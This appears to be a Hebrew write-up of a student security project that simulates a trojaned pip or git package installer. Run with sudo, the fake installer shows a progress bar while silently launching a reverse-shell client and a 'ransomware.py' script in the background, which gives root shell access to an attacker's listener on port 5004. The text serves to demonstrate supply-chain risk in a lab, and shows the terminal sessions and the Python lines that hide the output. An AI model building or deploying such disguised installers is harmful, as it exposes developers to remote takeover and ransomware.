הרעיון של הפרוקיט המקורי היה להיות כמה שיותר פאסיביים ולא באמת לתקוף את המטרות שלנו אלא לגרום להם "להיכנס אלינו הבייתה"
הרעיון היה בעצם-"ז

בעקבות אילוצים ולוחות הזמנים לא הצלחנו לממש את רעיון הפרויקט הראשון שהיה לנו ביצוע הפרויקט בשלמותו דרש זמן רב יותר ממה שחשבנו בעקבות מציאת הדרייברים המתאימים וההבנה כיצד לעבוד עם האדפטר שברשותנו:
https://www.tp-link.com/es/support/download/archer-t3u-plus/

לאחר שהצלחנו להבין כיצד לעבוד, נתקלנו במכשולים שונים שלא על כולם התגברנו לכן, לבסוף החלטנו לנסות לתקוף את המטרה בדרך אחרת.

הרעיון שעומד מאחורי הפרויקט שהצגנו הוא דוגמא לכך שגם מתכנתים ואנשים בעלי הבנה מועטה יכולים ליפול להתקפה מסוג זה

מתכנתים רבים מורדים ספריות / משתמשים במאגרים כמו git באופן תדיר וכך הם חשופים לפגיעות שונות

בפרויקט שלנו אנחנו מדמים התקנה של ספרייה ע"י pip או ממאגר ב-git ובזמן ההתקנה וגם לאחריה המשתמש נחשף לפגיעה מצד התוקף ע"י חיבור מרחוק

<u>הרצת הפרויקט:</u>

בשלב הראשון נוודא שהפורט שבחרנו פנוי (נשתדל לבחור פורט רנדומאלי שיהיה זהה גם אצל הנתקף)

נריץ את הפקודה בצד השרת :

```
┌──(kali㉿kali)-[~/yesodot/New Folder]
└─$ python3 sever.py
```

ניתן לראות שכעת השרת מאזין וממתין לחיבור של לקוח תמים:

```
┌──(kali㉿kali)-[~/yesodot/New Folder]
└─$ python3 sever.py
Listening as 0.0.0.0:5004 ...
interpreter $>
```

כעת הלקוח מתקין את הספרייה שהוא מצא או את מאגר ה-git שמצא באחד הפורומים השונים:

מכיוון שזו רק הדמייה לא יצרנו ספרייה מלאה או קובץ התקנה אלא רק הדמייה של התקנה שברקע מתרחשת

```
┌──(kali㉿kali)-[~/yesodot/final-project]
└─$ sudo python3 my_inst.py
```

ניתן לראות שבסיום ההתקנה מצב הטרמינל חוזר לקדמותו אך התקשורת עדיין ממשיכה:

```
Starting installation ...
Installation progress: [##########] 100%
Installation complete!

┌──(kali㉿kali)-[~/yesodot/final-project]
└─$
```

ניתן לראות כי נוצר חיבור גם בצד השרת

```
┌──(kali㉿kali)-[~/yesodot/New Folder]
└─$ python3 sever.py
Listening as 0.0.0.0:5004 ...
interpreter $> 10.100.102.93:57136 Connected!
[+] Current working directory: /home/kali/yesodot/final-project
```

מכיוון שנחנו עובדים על כמה ערוצי תקשורת נשתמש בפקודה list לראות מי מחובר:

```
list
  Index  Address          Port  CWD
 ------  -------------    -----  ---------------------------------
      0  10.100.102.93    57136  /home/kali/yesodot/final-project
interpreter $>
```

נשתמש בפקודה use ע"מ להתחבר למטרה הרצויה למשל use 0

```
interpreter $> use 0
/home/kali/yesodot/final-project $>
```

כעת אנחנו בתוך הטרמינל של הנתקף ויכולים לבצע כמעט כל מה שאנחנו רוצים, כמובן שאנחנו נצטרך לממש לא מעט מהדברים בצד השרת וגם בצד הנתקף אם ברצוננו לבצע פקודות מתקדמות:

אחנו יכולים לבצע פקודת ls לראות מה הקבצים הקיימים באותה תיקייה שהנתקף הריץ ממנה את ההתקנה
אנחנו כמובן יכולים להשתמש בפקודה cd לעבור בין תיקיות:

```
/home/kali/yesodot/final-project $> ls -lr
total 20
-rw-r--r-- 1 kali kali 2610 Jan 24 03:43 ran.py
-rw-r--r-- 1 kali kali  448 Jan 24 12:21 my_inst.py
-rw-r--r-- 1 kali kali  442 Jan 24 05:19 install_update.py
-rw-r--r-- 1 kali kali 3280 Jan 25 09:14 client.py
-rw-r--r-- 1 kali kali 1826 Jan 22 08:20 change_mac_add.py
/home/kali/yesodot/final-project $>
```

כמות הדברים שניתן לעשות היא בלתי מוגבלת, שוב אנחנו נצטרך לממש את הדברים בשני הצדדים אך רק בשביל להבין נזין את הפקודה whoami להבין איזה הרשאות יש לנו בתור תוקפים(זה עובד מכיוון שבדרך כלל מתקינים ספריות ע"י sudo)

```
/home/kali/yesodot/final-project $> whoami
root
/home/kali/yesodot/final-project $>
```

אנחנו יכולים להריץ אין ספור תהליכים מאחרי הקלעים מבלי שהמשתמש ידע או שיגלה זאת שכבר מאוחר מידי

```
# Run the second script in the background and redirect the output to /dev/null
subprocess.Popen(["python", "client.py"], stdout=open("/dev/null", "w"), stderr=subprocess.PIPE)
subprocess.Popen(["python", "ransomware.py"], stdout=open("/dev/null", "w"), stderr=subprocess.PIPE)
```

```
stdout=open("/dev/null", "w"), stderr=subprocess.PIPE
```

בעצם לא מוציא החוצה את פלט התוכניות האחרות שרצות ברקע